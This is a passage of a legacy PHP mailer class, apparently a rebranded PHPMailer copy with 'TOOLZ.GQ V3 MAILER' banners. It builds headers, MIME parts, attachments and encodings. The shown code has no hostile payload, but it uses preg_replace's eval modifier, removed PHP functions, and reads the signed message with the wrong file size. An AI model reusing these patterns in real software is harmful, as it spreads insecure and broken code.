2269 if($this->MessageID != '') {
2270 $result .= $this->HeaderLine('Message-ID',$this->MessageID);
2271 } else {
2272 $result .= sprintf("Message-ID: <%s@%s>%s", $uniq_id, $this->ServerHostname(), $this->LE);
2273 }
2274 $result .= $this->HeaderLine('X-Priority', $this->Priority);
2275 if($this->ConfirmReadingTo != '') {
2276 $result .= $this->HeaderLine('Disposition-Notification-To', '<' . trim($this->ConfirmReadingTo) . '>');
2277 }
2278
2279 // Add custom headers
2280 for($index = 0; $index < count($this->CustomHeader); $index++) {
2281 $result .= $this->HeaderLine(trim($this->CustomHeader[$index][0]), $this->EncodeHeader(trim($this->CustomHeader[$index][1])));
2282 }
2283 if (!$this->sign_key_file) {
2284 $result .= $this->HeaderLine('MIME-Version', '1.0');
2285 $result .= $this->GetMailMIME();
2286 }
2287
2288 return $result;
2289 }
2290
2291 /**
2292 * Returns the message MIME.
2293 * @access private
2294 * @return string
2295 */
2296 function GetMailMIME() {
2297 $result = '';
2298 switch($this->message_type) {
2299 case 'plain':
2300 $result .= $this->HeaderLine('Content-Transfer-Encoding', $this->Encoding);
2301 $result .= sprintf("Content-Type: %s; charset=\"%s\"", $this->ContentType, $this->CharSet);
2302 break;
2303 case 'attachments':
2304 /* fall through */
2305 case 'alt_attachments':
2306 if($this->InlineImageExists()){
2307 $result .= sprintf("Content-Type: %s;%s\ttype=\"text/html\";%s\tboundary=\"%s\"%s", 'multipart/related', $this->LE, $this->LE, $this->boundary[1], $this->LE);
2308 } else {
2309 $result .= $this->HeaderLine('Content-Type', 'multipart/mixed;');
2310 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2311 }
2312 break;
2313 case 'alt':
2314 $result .= $this->HeaderLine('Content-Type', 'multipart/alternative;');
2315 $result .= $this->TextLine("\tboundary=\"" . $this->boundary[1] . '"');
2316 break;
2317 }
2318
2319 if($this->Mailer != 'mail') {
2320 $result .= $this->LE.$this->LE;
2321 }
2322
2323 return $result;
2324 }
2325
2326 /**
2327 * Assembles the message body. Returns an empty string on failure.
2328 * @access private
2329 * @return string
2330 */
2331 function CreateBody() {
2332 $result = '';
2333 if ($this->sign_key_file) {
2334 $result .= $this->GetMailMIME();
2335 }
2336
2337 $this->SetWordWrap();
2338
2339 switch($this->message_type) {
2340 case 'alt':
2341 $result .= $this->GetBoundary($this->boundary[1], '', 'text/plain', '');
2342 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2343 $result .= $this->LE.$this->LE;
2344 $result .= $this->GetBoundary($this->boundary[1], '', 'text/html', '');
2345 $result .= $this->EncodeString($this->Body, $this->Encoding);
2346 $result .= $this->LE.$this->LE;
2347 $result .= $this->EndBoundary($this->boundary[1]);
2348 break;
2349 case 'plain':
2350 $result .= $this->EncodeString($this->Body, $this->Encoding);
2351 break;
2352 case 'attachments':
2353 $result .= $this->GetBoundary($this->boundary[1], '', '', '');
2354 $result .= $this->EncodeString($this->Body, $this->Encoding);
2355 $result .= $this->LE;
2356 $result .= $this->AttachAll();
2357 break;
2358 case 'alt_attachments':
2359 $result .= sprintf("--%s%s", $this->boundary[1], $this->LE);
2360 $result .= sprintf("Content-Type: %s;%s" . "\tboundary=\"%s\"%s", 'multipart/alternative', $this->LE, $this->boundary[2], $this->LE.$this->LE);
2361 $result .= $this->GetBoundary($this->boundary[2], '', 'text/plain', '') . $this->LE; // Create text body
2362 $result .= $this->EncodeString($this->AltBody, $this->Encoding);
2363 $result .= $this->LE.$this->LE;
2364 $result .= $this->GetBoundary($this->boundary[2], '', 'text/html', '') . $this->LE; // Create the HTML body
2365 $result .= $this->EncodeString($this->Body, $this->Encoding);
2366 $result .= $this->LE.$this->LE;
2367 $result .= $this->EndBoundary($this->boundary[2]);
2368 $result .= $this->AttachAll();
2369 break;
2370 }
2371
2372 if($this->IsError()) {
2373 $result = '';
2374 } else if ($this->sign_key_file) {
2375 $file = tempnam("", "mail");
2376 $fp = fopen($file, "w");
2377 fwrite($fp, $result);
2378 fclose($fp);
2379 $signed = tempnam("", "signed");
2380
2381 if (@openssl_pkcs7_sign($file, $signed, "file://".$this->sign_key_file, array("file://".$this->sign_key_file, $this->sign_key_pass), null)) {
2382 $fp = fopen($signed, "r");
2383 $result = fread($fp, filesize($this->sign_key_file));
2384 fclose($fp);
2385 } else {
2386 $this->SetError($this->Lang("signing").openssl_error_string());
2387 $result = '';
2388 }
2389
2390 unlink($file);
2391 unlink($signed);
2392 }
2393
2394 return $result;
2395 }
2396/////////////////////////////////////////////////////////////////////////////////////////
2397/////////////////////////////////////////////////////////////////////////////////////////
2398
2399///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
2400
2401/////////////////////////////////////////////////////////////////////////////////////////
2402/////////////////////////////////////////////////////////////////////////////////////////
2403 /**
2404 * Returns the start of a message boundary.
2405 * @access private
2406 */
2407 function GetBoundary($boundary, $charSet, $contentType, $encoding) {
2408 $result = '';
2409 if($charSet == '') {
2410 $charSet = $this->CharSet;
2411 }
2412 if($contentType == '') {
2413 $contentType = $this->ContentType;
2414 }
2415 if($encoding == '') {
2416 $encoding = $this->Encoding;
2417 }
2418 $result .= $this->TextLine('--' . $boundary);
2419 $result .= sprintf("Content-Type: %s; charset = \"%s\"", $contentType, $charSet);
2420 $result .= $this->LE;
2421 $result .= $this->HeaderLine('Content-Transfer-Encoding', $encoding);
2422 $result .= $this->LE;
2423
2424 return $result;
2425 }
2426
2427 /**
2428 * Returns the end of a message boundary.
2429 * @access private
2430 */
2431 function EndBoundary($boundary) {
2432 return $this->LE . '--' . $boundary . '--' . $this->LE;
2433 }
2434
2435 /**
2436 * Sets the message type.
2437 * @access private
2438 * @return void
2439 */
2440 function SetMessageType() {
2441 if(count($this->attachment) < 1 && strlen($this->AltBody) < 1) {
2442 $this->message_type = 'plain';
2443 } else {
2444 if(count($this->attachment) > 0) {
2445 $this->message_type = 'attachments';
2446 }
2447 if(strlen($this->AltBody) > 0 && count($this->attachment) < 1) {
2448 $this->message_type = 'alt';
2449 }
2450 if(strlen($this->AltBody) > 0 && count($this->attachment) > 0) {
2451 $this->message_type = 'alt_attachments';
2452 }
2453 }
2454 }
2455
2456 /* Returns a formatted header line.
2457 * @access private
2458 * @return string
2459 */
2460 function HeaderLine($name, $value) {
2461 return $name . ': ' . $value . $this->LE;
2462 }
2463
2464 /**
2465 * Returns a formatted mail line.
2466 * @access private
2467 * @return string
2468 */
2469 function TextLine($value) {
2470 return $value . $this->LE;
2471 }
2472
2473 /////////////////////////////////////////////////
2474 // CLASS METHODS, ATTACHMENTS
2475 /////////////////////////////////////////////////
2476
2477 /**
2478 * Adds an attachment from a path on the filesystem.
2479 * Returns false if the file could not be found
2480 * or accessed.
2481 * @param string $path Path to the attachment.
2482 * @param string $name Overrides the attachment name.
2483 * @param string $encoding File encoding (see $Encoding).
2484 * @param string $type File extension (MIME) type.
2485 * @return bool
2486 */
2487 function AddAttachment($path, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2488 if(!@is_file($path)) {
2489 $this->SetError($this->Lang('file_access') . $path);
2490 return false;
2491 }
2492
2493 $filename = basename($path);
2494 if($name == '') {
2495 $name = $filename;
2496 }
2497
2498 $cur = count($this->attachment);
2499 $this->attachment[$cur][0] = $path;
2500 $this->attachment[$cur][1] = $filename;
2501 $this->attachment[$cur][2] = $name;
2502 $this->attachment[$cur][3] = $encoding;
2503 $this->attachment[$cur][4] = $type;
2504 $this->attachment[$cur][5] = false; // isStringAttachment
2505 $this->attachment[$cur][6] = 'attachment';
2506 $this->attachment[$cur][7] = 0;
2507
2508 return true;
2509 }
2510
2511 /**
2512 * Attaches all fs, string, and binary attachments to the message.
2513 * Returns an empty string on failure.
2514 * @access private
2515 * @return string
2516 */
2517 function AttachAll() {
2518 /* Return text of body */
2519 $mime = array();
2520
2521 /* Add all attachments */
2522 for($i = 0; $i < count($this->attachment); $i++) {
2523 /* Check for string attachment */
2524 $bString = $this->attachment[$i][5];
2525 if ($bString) {
2526 $string = $this->attachment[$i][0];
2527 } else {
2528 $path = $this->attachment[$i][0];
2529 }
2530
2531 $filename = $this->attachment[$i][1];
2532 $name = $this->attachment[$i][2];
2533 $encoding = $this->attachment[$i][3];
2534 $type = $this->attachment[$i][4];
2535 $disposition = $this->attachment[$i][6];
2536 $cid = $this->attachment[$i][7];
2537
2538 $mime[] = sprintf("--%s%s", $this->boundary[1], $this->LE);
2539 $mime[] = sprintf("Content-Type: %s; name=\"%s\"%s", $type, $name, $this->LE);
2540 $mime[] = sprintf("Content-Transfer-Encoding: %s%s", $encoding, $this->LE);
2541
2542 if($disposition == 'inline') {
2543 $mime[] = sprintf("Content-ID: <%s>%s", $cid, $this->LE);
2544 }
2545
2546 $mime[] = sprintf("Content-Disposition: %s; filename=\"%s\"%s", $disposition, $name, $this->LE.$this->LE);
2547
2548 /* Encode as string attachment */
2549 if($bString) {
2550 $mime[] = $this->EncodeString($string, $encoding);
2551 if($this->IsError()) {
2552 return '';
2553 }
2554 $mime[] = $this->LE.$this->LE;
2555 } else {
2556 $mime[] = $this->EncodeFile($path, $encoding);
2557 if($this->IsError()) {
2558 return '';
2559 }
2560 $mime[] = $this->LE.$this->LE;
2561 }
2562 }
2563
2564 $mime[] = sprintf("--%s--%s", $this->boundary[1], $this->LE);
2565
2566 return join('', $mime);
2567 }
2568
2569 /**
2570 * Encodes attachment in requested format. Returns an
2571 * empty string on failure.
2572 * @access private
2573 * @return string
2574 */
2575 function EncodeFile ($path, $encoding = 'base64') {
2576 if(!@$fd = fopen($path, 'rb')) {
2577 $this->SetError($this->Lang('file_open') . $path);
2578 return '';
2579 }
2580 $magic_quotes = get_magic_quotes_runtime();
2581 set_magic_quotes_runtime(0);
2582 $file_buffer = fread($fd, filesize($path));
2583 $file_buffer = $this->EncodeString($file_buffer, $encoding);
2584 fclose($fd);
2585 set_magic_quotes_runtime($magic_quotes);
2586
2587 return $file_buffer;
2588 }
2589
2590 /**
2591 * Encodes string to requested format. Returns an
2592 * empty string on failure.
2593 * @access private
2594 * @return string
2595 */
2596
2597 function EncodeString ($str, $encoding = 'base64') {
2598 $encoded = '';
2599 switch(strtolower($encoding)) {
2600 case 'base64':
2601 /* chunk_split is found in PHP >= 3.0.6 */
2602 $encoded = chunk_split(base64_encode($str), 76, $this->LE);
2603 break;
2604 case '7bit':
2605 case '8bit':
2606 $encoded = $this->FixEOL($str);
2607 if (substr($encoded, -(strlen($this->LE))) != $this->LE)
2608 $encoded .= $this->LE;
2609 break;
2610 case 'binary':
2611 $encoded = $str;
2612 break;
2613 case 'quoted-printable':
2614 $encoded = $this->EncodeQP($str);
2615 break;
2616 default:
2617 $this->SetError($this->Lang('encoding') . $encoding);
2618 break;
2619 }
2620 return $encoded;
2621 }
2622
2623 /**
2624 * Encode a header string to best of Q, B, quoted or none.
2625 * @access private
2626 * @return string
2627 */
2628 function EncodeHeader ($str, $position = 'text') {
2629 $x = 0;
2630
2631 switch (strtolower($position)) {
2632 case 'phrase':
2633 if (!preg_match('/[\200-\377]/', $str)) {
2634 /* Can't use addslashes as we don't know what value has magic_quotes_sybase. */
2635 $encoded = addcslashes($str, "\0..\37\177\\\"");
2636 if (($str == $encoded) && !preg_match('/[^A-Za-z0-9!#$%&\'*+\/=?^_`{|}~ -]/', $str)) {
2637 return ($encoded);
2638 } else {
2639 return ("\"$encoded\"");
2640 }
2641 }
2642 $x = preg_match_all('/[^\040\041\043-\133\135-\176]/', $str, $matches);
2643 break;
2644 case 'comment':
2645 $x = preg_match_all('/[()"]/', $str, $matches);
2646 /* Fall-through */
2647 case 'text':
2648 default:
2649 $x += preg_match_all('/[\000-\010\013\014\016-\037\177-\377]/', $str, $matches);
2650 break;
2651 }
2652
2653 if ($x == 0) {
2654 return ($str);
2655 }
2656
2657 $maxlen = 75 - 7 - strlen($this->CharSet);
2658 /* Try to select the encoding which should produce the shortest output */
2659 if (strlen($str)/3 < $x) {
2660 $encoding = 'B';
2661 if (function_exists('mb_strlen') && $this->HasMultiBytes($str)) {
2662 // Use a custom function which correctly encodes and wraps long
2663 // multibyte strings without breaking lines within a character
2664 $encoded = $this->Base64EncodeWrapMB($str);
2665 } else {
2666 $encoded = base64_encode($str);
2667 $maxlen -= $maxlen % 4;
2668 $encoded = trim(chunk_split($encoded, $maxlen, "\n"));
2669 }
2670 } else {
2671 $encoding = 'Q';
2672 $encoded = $this->EncodeQ($str, $position);
2673 $encoded = $this->WrapText($encoded, $maxlen, true);
2674 $encoded = str_replace('='.$this->LE, "\n", trim($encoded));
2675 }
2676
2677 $encoded = preg_replace('/^(.*)$/m', " =?".$this->CharSet."?$encoding?\\1?=", $encoded);
2678 $encoded = trim(str_replace("\n", $this->LE, $encoded));
2679
2680 return $encoded;
2681 }
2682
2683 /**
2684 * Checks if a string contains multibyte characters.
2685 * @access private
2686 * @param string $str multi-byte text to wrap encode
2687 * @return bool
2688 */
2689 function HasMultiBytes($str) {
2690 if (function_exists('mb_strlen')) {
2691 return (strlen($str) > mb_strlen($str, $this->CharSet));
2692 } else { // Assume no multibytes (we can't handle without mbstring functions anyway)
2693 return False;
2694 }
2695 }
2696
2697 /**
2698 * Correctly encodes and wraps long multibyte strings for mail headers
2699 * without breaking lines within a character.
2700 * Adapted from a function by paravoid at http://uk.php.net/manual/en/function.mb-encode-mimeheader.php
2701 * @access private
2702 * @param string $str multi-byte text to wrap encode
2703 * @return string
2704 */
2705 function Base64EncodeWrapMB($str) {
2706 $start = "=?".$this->CharSet."?B?";
2707 $end = "?=";
2708 $encoded = "";
2709
2710 $mb_length = mb_strlen($str, $this->CharSet);
2711 // Each line must have length <= 75, including $start and $end
2712 $length = 75 - strlen($start) - strlen($end);
2713 // Average multi-byte ratio
2714 $ratio = $mb_length / strlen($str);
2715 // Base64 has a 4:3 ratio
2716 $offset = $avgLength = floor($length * $ratio * .75);
2717
2718 for ($i = 0; $i < $mb_length; $i += $offset) {
2719 $lookBack = 0;
2720
2721 do {
2722 $offset = $avgLength - $lookBack;
2723 $chunk = mb_substr($str, $i, $offset, $this->CharSet);
2724 $chunk = base64_encode($chunk);
2725 $lookBack++;
2726 }
2727 while (strlen($chunk) > $length);
2728
2729 $encoded .= $chunk . $this->LE;
2730 }
2731
2732 // Chomp the last linefeed
2733 $encoded = substr($encoded, 0, -strlen($this->LE));
2734 return $encoded;
2735 }
2736
2737 /**
2738 * Encode string to quoted-printable.
2739 * @access private
2740 * @return string
2741 */
2742 function EncodeQP( $input = '', $line_max = 76, $space_conv = false ) {
2743 $hex = array('0','1','2','3','4','5','6','7','8','9','A','B','C','D','E','F');
2744 $lines = preg_split('/(?:\r\n|\r|\n)/', $input);
2745 $eol = "\r\n";
2746 $escape = '=';
2747 $output = '';
2748 while( list(, $line) = each($lines) ) {
2749 $linlen = strlen($line);
2750 $newline = '';
2751 for($i = 0; $i < $linlen; $i++) {
2752 $c = substr( $line, $i, 1 );
2753 $dec = ord( $c );
2754 if ( ( $i == 0 ) && ( $dec == 46 ) ) { // convert first point in the line into =2E
2755 $c = '=2E';
2756 }
2757 if ( $dec == 32 ) {
2758 if ( $i == ( $linlen - 1 ) ) { // convert space at eol only
2759 $c = '=20';
2760 } else if ( $space_conv ) {
2761 $c = '=20';
2762 }
2763 } elseif ( ($dec == 61) || ($dec < 32 ) || ($dec > 126) ) { // always encode "\t", which is *not* required
2764 $h2 = floor($dec/16);
2765 $h1 = floor($dec%16);
2766 $c = $escape.$hex[$h2].$hex[$h1];
2767 }
2768 if ( (strlen($newline) + strlen($c)) >= $line_max ) { // CRLF is not counted
2769 $output .= $newline.$escape.$eol; // soft line break; " =\r\n" is okay
2770 $newline = '';
2771 // check if newline first character will be point or not
2772 if ( $dec == 46 ) {
2773 $c = '=2E';
2774 }
2775 }
2776 $newline .= $c;
2777 } // end of for
2778 $output .= $newline.$eol;
2779 } // end of while
2780 return trim($output);
2781 }
2782
2783 /**
2784 * Encode string to q encoding.
2785 * @access private
2786 * @return string
2787 */
2788 function EncodeQ ($str, $position = 'text') {
2789 /* There should not be any EOL in the string */
2790 $encoded = preg_replace("[\r\n]", '', $str);
2791
2792 switch (strtolower($position)) {
2793 case 'phrase':
2794 $encoded = preg_replace("/([^A-Za-z0-9!*+\/ -])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2795 break;
2796 case 'comment':
2797 $encoded = preg_replace("/([\(\)\"])/e", "'='.sprintf('%02X', ord('\\1'))", $encoded);
2798 case 'text':
2799 default:
2800 /* Replace every high ascii, control =, ? and _ characters */
2801 $encoded = preg_replace('/([\000-\011\013\014\016-\037\075\077\137\177-\377])/e',
2802 "'='.sprintf('%02X', ord('\\1'))", $encoded);
2803 break;
2804 }
2805
2806 /* Replace every spaces to _ (more readable than =20) */
2807 $encoded = str_replace(' ', '_', $encoded);
2808
2809 return $encoded;
2810 }
2811
2812 /**
2813 * Adds a string or binary attachment (non-filesystem) to the list.
2814 * This method can be used to attach ascii or binary data,
2815 * such as a BLOB record from a database.
2816 * @param string $string String attachment data.
2817 * @param string $filename Name of the attachment.
2818 * @param string $encoding File encoding (see $Encoding).
2819 * @param string $type File extension (MIME) type.
2820 * @return void
2821 */
2822 function AddStringAttachment($string, $filename, $encoding = 'base64', $type = 'application/octet-stream') {
2823 /* Append to $attachment array */
2824 $cur = count($this->attachment);
2825 $this->attachment[$cur][0] = $string;
2826 $this->attachment[$cur][1] = $filename;
2827 $this->attachment[$cur][2] = $filename;
2828 $this->attachment[$cur][3] = $encoding;
2829 $this->attachment[$cur][4] = $type;
2830 $this->attachment[$cur][5] = true; // isString
2831 $this->attachment[$cur][6] = 'attachment';
2832 $this->attachment[$cur][7] = 0;
2833 }
2834
2835 /**
2836 * Adds an embedded attachment. This can include images, sounds, and
2837 * just about any other document. Make sure to set the $type to an
2838 * image type. For JPEG images use "image/jpeg" and for GIF images
2839 * use "image/gif".
2840 * @param string $path Path to the attachment.
2841 * @param string $cid Content ID of the attachment. Use this to identify
2842 * the Id for accessing the image in an HTML form.
2843 * @param string $name Overrides the attachment name.
2844 * @param string $encoding File encoding (see $Encoding).
2845 * @param string $type File extension (MIME) type.
2846 * @return bool
2847 */
2848 function AddEmbeddedImage($path, $cid, $name = '', $encoding = 'base64', $type = 'application/octet-stream') {
2849
2850 if(!@is_file($path)) {
2851 $this->SetError($this->Lang('file_access') . $path);
2852 return false;
2853 }
2854
2855 $filename = basename($path);
2856 if($name == '') {
2857 $name = $filename;
2858 }
2859
2860 /* Append to $attachment array */
2861 $cur = count($this->attachment);
2862 $this->attachment[$cur][0] = $path;
2863 $this->attachment[$cur][1] = $filename;
2864 $this->attachment[$cur][2] = $name;
2865 $this->attachment[$cur][3] = $encoding;
2866 $this->attachment[$cur][4] = $type;
2867 $this->attachment[$cur][5] = false;
2868 $this->attachment[$cur][6] = 'inline';
2869 $this->attachment[$cur][7] = $cid;
2870
2871 return true;
2872 }
2873
2874 /**
2875 * Returns true if an inline attachment is present.
2876 * @access private
2877 * @return bool
2878 */
2879 function InlineImageExists() {
2880 $result = false;
2881 for($i = 0; $i < count($this->attachment); $i++) {
2882 if($this->attachment[$i][6] == 'inline') {
2883 $result = true;
2884 break;
2885 }
2886 }
2887
2888 return $result;
2889 }
2890
2891 /////////////////////////////////////////////////
2892 // CLASS METHODS, MESSAGE RESET
2893 /////////////////////////////////////////////////
2894
2895 /**
2896 * Clears all recipients assigned in the TO array. Returns void.
2897 * @return void
2898 */
2899 function ClearAddresses() {
2900 $this->to = array();
2901 }
2902
2903 /**
2904 * Clears all recipients assigned in the CC array. Returns void.
2905 * @return void
2906 */
2907 function ClearCCs() {
2908 $this->cc = array();
2909 }
2910
2911 /**
2912 * Clears all recipients assigned in the BCC array. Returns void.
2913 * @return void
2914 */
2915 function ClearBCCs() {
2916 $this->bcc = array();
2917 }
2918
2919 /**
2920 * Clears all recipients assigned in the ReplyTo array. Returns void.
2921 * @return void
2922 */
2923 function ClearReplyTos() {
2924 $this->ReplyTo = array();
2925 }
2926
2927 /**
2928 * Clears all recipients assigned in the TO, CC and BCC
2929 * array. Returns void.
2930 * @return void
2931 */
2932 function ClearAllRecipients() {
2933 $this->to = array();
2934 $this->cc = array();
2935 $this->bcc = array();
2936 }
2937
2938 /**
2939 * Clears all previously set filesystem, string, and binary
2940 * attachments. Returns void.
2941 * @return void
2942 */
2943 function ClearAttachments() {
2944 $this->attachment = array();
2945 }
2946
2947 /**
2948 * Clears all custom headers. Returns void.
2949 * @return void
2950 */
2951 function ClearCustomHeaders() {
2952 $this->CustomHeader = array();
2953 }
2954
2955 /////////////////////////////////////////////////
2956 // CLASS METHODS, MISCELLANEOUS
2957 /////////////////////////////////////////////////
2958
2959 /**
2960 * Adds the error message to the error container.
2961 * Returns void.
2962 * @access private
2963 * @return void
2964 */
2965 function SetError($msg) {
2966 $this->error_count++;
2967 $this->ErrorInfo = $msg;
2968 }
2969
2970 /**
2971 * Returns the proper RFC 822 formatted date.
2972 * @access private
2973 * @return string
2974 */
2975 function RFCDate() {
2976 $tz = date('Z');
2977 $tzs = ($tz < 0) ? '-' : '+';
2978 $tz = abs($tz);
2979 $tz = (int)($tz/3600)*100 + ($tz%3600)/60;
2980 $result = sprintf("%s %s%04d", date('D, j M Y H:i:s'), $tzs, $tz);
2981
2982 return $result;
2983 }
2984
2985 /**
2986 * Returns the appropriate server variable. Should work with both
2987 * PHP 4.1.0+ as well as older versions. Returns an empty string
2988 * if nothing is found.
2989 * @access private
2990 * @return mixed
2991 */
2992 function ServerVar($varName) {
2993 global $HTTP_SERVER_VARS;
2994 global $HTTP_ENV_VARS;
2995
2996 if(!isset($_SERVER)) {
2997 $_SERVER = $HTTP_SERVER_VARS;
2998 if(!isset($_SERVER['REMOTE_ADDR'])) {
2999 $_SERVER = $HTTP_ENV_VARS; // must be Apache
3000 }
3001 }
3002
3003 if(isset($_SERVER[$varName])) {
3004 return $_SERVER[$varName];
3005 } else {
3006 return '';
3007 }
3008 }
3009
3010 /**
3011 * Returns the server hostname or 'localhost.localdomain' if unknown.
3012 * @access private
3013 * @return string
3014 */
3015 function ServerHostname() {
3016 if ($this->Hostname != '') {
3017 $result = $this->Hostname;
3018 } elseif ($this->ServerVar('SERVER_NAME') != '') {
3019 $result = $this->ServerVar('SERVER_NAME');
3020 } else {
3021 $result = 'localhost.localdomain';
3022 }
3023
3024 return $result;
3025 }
3026
3027 /**
3028 * Returns a message in the appropriate language.
3029 * @access private
3030 * @return string
3031 */
3032 function Lang($key) {
3033 if(count($this->language) < 1) {
3034 $this->SetLanguage('en'); // set the default language
3035 }
3036
3037 if(isset($this->language[$key])) {
3038 return $this->language[$key];
3039 } else {
3040 return 'Language string failed to load: ' . $key;
3041 }
3042 }
3043
3044 /**
3045 * Returns true if an error occurred.
3046 * @return bool
3047 */
3048 function IsError() {
3049 return ($this->error_count > 0);
3050 }
3051
3052 /**
3053 * Changes every end of line from CR or LF to CRLF.
3054 * @access private
3055 * @return string
3056 */
3057 function FixEOL($str) {
3058 $str = str_replace("\r\n", "\n", $str);
3059 $str = str_replace("\r", "\n", $str);
3060 $str = str_replace("\n", $this->LE, $str);
3061 return $str;
3062 }
3063
3064 /**
3065 * Adds a custom header.
3066 * @return void
3067 */
3068 function AddCustomHeader($custom_header) {
3069 $this->CustomHeader[] = explode(':', $custom_header, 2);
3070 }
3071
3072 /**
3073 * Evaluates the message and returns modifications for inline images and backgrounds
3074 * @access public
3075 * @return $message
3076 */
3077 function MsgHTML($message,$basedir='') {
3078 preg_match_all("/(src|background)=\"(.*)\"/Ui", $message, $images);
3079 if(isset($images[2])) {
3080 foreach($images[2] as $i => $url) {
3081 // do not change urls for absolute images (thanks to corvuscorax)
3082 if (!preg_match('/^[A-z][A-z]*:\/\//',$url)) {
3083 $filename = basename($url);
3084 $directory = dirname($url);
3085 ($directory == '.')?$directory='':'';
3086 $cid = 'cid:' . md5($filename);
3087 $fileParts = split("\.", $filename);
3088 $ext = $fileParts[1];
3089 $mimeType = $this->_mime_types($ext);
3090 if ( strlen($basedir) > 1 && substr($basedir,-1) != '/') { $basedir .= '/'; }
3091 if ( strlen($directory) > 1 && substr($basedir,-1) != '/') { $directory .= '/'; }
3092 $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64', $mimeType);
3093 if ( $this->AddEmbeddedImage($basedir.$directory.$filename, md5($filename), $filename, 'base64',$mimeType) ) {
3094 $message = preg_replace("/".$images[1][$i]."=\"".preg_quote($url, '/')."\"/Ui", $images[1][$i]."=\"".$cid."\"", $message);
3095 }
3096 }
3097 }
3098 }
3099 $this->IsHTML(true);
3100 $this->Body = $message;
3101 $textMsg = trim(strip_tags(preg_replace('/<(head|title|style|script)[^>]*>.*?<\/\\1>/s','',$message)));
3102 if ( !empty($textMsg) && empty($this->AltBody) ) {
3103 $this->AltBody = $textMsg;
3104 }
3105 if ( empty($this->AltBody) ) {
3106 $this->AltBody = 'To view this email message, open the email in with HTML compatibility!' . "\n\n";
3107 }
3108 }
3109
3110 /**
3111 * Gets the mime type of the embedded or inline image
3112 * @access private
3113 * @return mime type of ext
3114 */
3115 function _mime_types($ext = '') {
3116 $mimes = array(
3117 'hqx' => 'application/mac-binhex40',
3118 'cpt' => 'application/mac-compactpro',
3119 'doc' => 'application/msword',
3120 'bin' => 'application/macbinary',
3121 'dms' => 'application/octet-stream',
3122 'lha' => 'application/octet-stream',
3123 'lzh' => 'application/octet-stream',
3124 'exe' => 'application/octet-stream',
3125 'class' => 'application/octet-stream',
3126 'psd' => 'application/octet-stream',
3127 'so' => 'application/octet-stream',
3128 'sea' => 'application/octet-stream',
3129 'dll' => 'application/octet-stream',
3130 'oda' => 'application/oda',
3131 'pdf' => 'application/pdf',
3132 'ai' => 'application/postscript',
3133 'eps' => 'application/postscript',
3134 'ps' => 'application/postscript',
3135 'smi' => 'application/smil',
3136 'smil' => 'application/smil',
3137 'mif' => 'application/vnd.mif',
3138 'xls' => 'application/vnd.ms-excel',
3139 'ppt' => 'application/vnd.ms-powerpoint',
3140 'wbxml' => 'application/vnd.wap.wbxml',
3141 'wmlc' => 'application/vnd.wap.wmlc',
3142 'dcr' => 'application/x-director',
3143 'dir' => 'application/x-director',
3144 'dxr' => 'application/x-director',
3145 'dvi' => 'application/x-dvi',
3146 'gtar' => 'application/x-gtar',
3147 'php' => 'application/x-httpd-php',
3148 'php4' => 'application/x-httpd-php',
3149 'php3' => 'application/x-httpd-php',
3150 'phtml' => 'application/x-httpd-php',
3151 'phps' => 'application/x-httpd-php-source',
3152 'js' => 'application/x-javascript',
3153 'swf' => 'application/x-shockwave-flash',
3154 'sit' => 'application/x-stuffit',
3155 'tar' => 'application/x-tar',
3156 'tgz' => 'application/x-tar',
3157 'xhtml' => 'application/xhtml+xml',
3158 'xht' => 'application/xhtml+xml',
3159 'zip' => 'application/zip',
3160 'mid' => 'audio/midi',
3161 'midi' => 'audio/midi',
3162 'mpga' => 'audio/mpeg',
3163 'mp2' => 'audio/mpeg',
3164 'mp3' => 'audio/mpeg',
3165 'aif' => 'audio/x-aiff',
3166 'aiff' => 'audio/x-aiff',
3167 'aifc' => 'audio/x-aiff',
3168 'ram' => 'audio/x-pn-realaudio',
3169 'rm' => 'audio/x-pn-realaudio',
3170 'rpm' => 'audio/x-pn-realaudio-plugin',
3171 'ra' => 'audio/x-realaudio',
3172 'rv' => 'video/vnd.rn-realvideo',
3173 'wav' => 'audio/x-wav',
3174 'bmp' => 'image/bmp',
3175 'gif' => 'image/gif',
3176 'jpeg' => 'image/jpeg',
3177 'jpg' => 'image/jpeg',
3178 'jpe' => 'image/jpeg',
3179 'png' => 'image/png',
3180 'tiff' => 'image/tiff',
3181 'tif' => 'image/tiff',
3182 'css' => 'text/css',
3183 'html' => 'text/html',
3184 'htm' => 'text/html',
3185 'shtml' => 'text/html',
3186 'txt' => 'text/plain',
3187 'text' => 'text/plain',
3188 'log' => 'text/plain',
3189 'rtx' => 'text/richtext',
3190 'rtf' => 'text/rtf',
3191 'xml' => 'text/xml',
3192 'xsl' => 'text/xml',
3193 'mpeg' => 'video/mpeg',
3194 'mpg' => 'video/mpeg',
3195 'mpe' => 'video/mpeg',
3196 'qt' => 'video/quicktime',
3197 'mov' => 'video/quicktime',
3198 'avi' => 'video/x-msvideo',
3199 'movie' => 'video/x-sgi-movie',
3200 'doc' => 'application/msword',
3201 'word' => 'application/msword',
3202 'xl' => 'application/excel',
3203 'eml' => 'message/rfc822'
3204 );
3205 return ( ! isset($mimes[strtolower($ext)])) ? 'application/octet-stream' : $mimes[strtolower($ext)];
3206 }
3207
3208/////////////////////////////////////////////////////////////////////////////////////////
3209/////////////////////////////////////////////////////////////////////////////////////////
3210
3211///////////////////////// WWW.TOOLZ.GQ V3 MAILER //////////////////////////////////
3212
3213/////////////////////////////////////////////////////////////////////////////////////////
3214/////////////////////////////////////////////////////////////////////////////////////////
3215 /**
3216 * Set (or reset) Class Objects (variables)
3217 *
3218 * Usage Example:
3219 * $page->set('X-Priority', '3');
3220 *
3221 * @access public
3222 * @param string $name Parameter Name
3223 * @param mixed $value Parameter Value
3224 * NOTE: will not work with arrays, there are no arrays to set/reset
3225 */
3226
3227 function set ( $name, $value = '' ) {
3228 if ( isset($this->$name) ) {
3229 $this->$name = $value;
3230 } else {
3231 $this->SetError('Cannot set or reset variable ' . $name);
3232 return false;
3233 }
3234 }
3235
3236 /**
3237 * Read a file from a supplied filename and return it.
3238 *
3239 * @access public
3240 * @param string $filename Parameter File Name
3241 */
3242
3243 function getFile($filename) {
3244 $return = '';
3245 if ($fp = fopen($filename, 'rb')) {
3246 while (!feof($fp)) {
3247 $return .= fread($fp, 1024);
3248 }
3249 fclose($fp);
3250 return $return;
3251 } else {
3252 return false;
